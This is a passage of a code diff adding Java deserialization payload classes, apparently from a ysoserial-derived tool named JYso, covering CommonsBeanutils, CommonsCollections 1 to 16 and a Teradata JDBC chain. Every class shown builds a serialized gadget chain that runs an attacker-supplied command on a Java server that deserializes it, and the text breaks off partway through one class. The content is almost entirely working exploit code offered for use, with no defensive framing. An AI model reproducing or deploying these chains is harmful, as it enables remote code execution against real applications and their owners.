|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtField;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
AttrNSImpl attrNS1 = new AttrNSImpl();
|
||||
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
|
||||
attrNS1.setValues(coreDocument, "1", "1", "1");
|
||||
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
try {
|
||||
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||
ctBeanComparator.removeField(ctSUID);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
|
||||
ctBeanComparator.defrost();
|
||||
|
||||
Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||
|
||||
queue.add(attrNS1);
|
||||
queue.add(attrNS1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.teradata.jdbc.TeraDataSource;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsBeanutilsJDBC implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||
throw new Exception("Command format is: eviljdbcurl");
|
||||
}
|
||||
|
||||
TeraDataSource dataSource = new TeraDataSource();
|
||||
dataSource.setBROWSER(command);
|
||||
dataSource.setLOGMECH("BROWSER");
|
||||
dataSource.setDSName("127.0.0.1");
|
||||
dataSource.setDbsPort("10250");
|
||||
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "connection");
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = dataSource;
|
||||
queueArray[1] = dataSource;
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(stringComparator);
|
||||
queue.add(stringComparator);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtField;
|
||||
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
try {
|
||||
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||
ctBeanComparator.removeField(ctSUID);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
ctBeanComparator.defrost();
|
||||
Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
|
||||
|
||||
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||
|
||||
queue.add(stringComparator);
|
||||
queue.add(stringComparator);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.logging.log4j.util.PropertySource;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
PropertySource propertySource1 = new PropertySource() {
|
||||
@Override
|
||||
public int getPriority() {
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(propertySource1);
|
||||
queue.add(propertySource1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtField;
|
||||
import org.apache.logging.log4j.util.PropertySource;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
PropertySource propertySource1 = new PropertySource() {
|
||||
@Override
|
||||
public int getPriority() {
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
try {
|
||||
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||
ctBeanComparator.removeField(ctSUID);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
ctBeanComparator.defrost();
|
||||
Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
|
||||
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||
|
||||
queue.add(propertySource1);
|
||||
queue.add(propertySource1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* AnnotationInvocationHandler.readObject()
|
||||
* Map(Proxy).entrySet()
|
||||
* AnnotationInvocationHandler.invoke()
|
||||
* LazyMap.get()
|
||||
* ChainedTransformer.transform()
|
||||
* ConstantTransformer.transform()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Class.getMethod()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.getRuntime()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
* <p>
|
||||
* Requires:
|
||||
* commons-collections
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
@Override
|
||||
public InvocationHandler getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
|
||||
|
||||
return handler;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
|
||||
public class CommonsCollections10 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
// 使用 InstantiateFactory 代替 InstantiateTransformer
|
||||
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
|
||||
|
||||
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
|
||||
|
||||
// 先放一个无关键要的 Transformer
|
||||
ConstantTransformer constantTransformer = new ConstantTransformer(1);
|
||||
Map innerMap = new HashMap();
|
||||
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
|
||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||
Map expMap = new HashMap();
|
||||
expMap.put(tme, "QI5L");
|
||||
|
||||
Reflections.setFieldValue(outerMap, "factory", factoryTransformer);
|
||||
|
||||
outerMap.remove("QI4L");
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* RMIConnector 二次反序列化
|
||||
* 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer
|
||||
* 直接传入 Base64 编码的序列化数据即可
|
||||
*/
|
||||
public class CommonsCollections11 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
|
||||
HashMap<Object, Object> expMap = new HashMap<>();
|
||||
expMap.put(tiedMapEntry, "QI4L");
|
||||
lazyMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
|
||||
@Override
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Map hashMap1 = new HashMap();
|
||||
Map hashMap2 = new HashMap();
|
||||
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
|
||||
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
|
||||
|
||||
defaultedMap1.put("yy", 1);
|
||||
defaultedMap2.put("zZ", 1);
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(defaultedMap1, 1);
|
||||
hashtable.put(defaultedMap2, 1);
|
||||
defaultedMap2.remove("yy");
|
||||
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
@Authors({Authors.Jayl1n})
|
||||
public class CommonsCollections13 implements ObjectPayload<Object>{
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{ new ConstantTransformer(1) });
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
|
||||
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, entry);
|
||||
|
||||
// arm with actual transformer chain
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||
|
||||
return val;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections14 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||
HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry);
|
||||
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections15 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||
Hashtable hashtable = Gadgets.makeTableTstring(tiedMapEntry);
|
||||
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||
return hashtable;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.lang.annotation.Target;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"})
|
||||
@Authors({Authors.Unam4})
|
||||
public class CommonsCollections16 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1);
|
||||
HashMap<Object, Object> map1 = new HashMap<>();
|
||||
map1.put("value",tiedMapEntry);
|
||||
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
|
||||
Anotationdeclared.setAccessible(true);
|
||||
InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
|
||||
Reflections.setFieldValue(decorate, "factory",transformerChain );
|
||||
Reflections.setFieldValue(tiedMapEntry, "key",233);
|
||||
return h;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
import java.util.Queue;
|
||||
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||
|
||||
public Queue<Object> getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
|
||||
queue.add(1);
|
||||
queue.add(1);
|
||||
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
|
||||
* InvokerTransformer.
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections3 implements ObjectPayload<Object> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAnnInvHUniversalMethodImpl();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templatesImpl;
|
||||
templatesImpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
|
||||
// inert chain for setup
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
new ConstantTransformer(TrAXFilter.class),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{Templates.class},
|
||||
new Object[]{templatesImpl})};
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
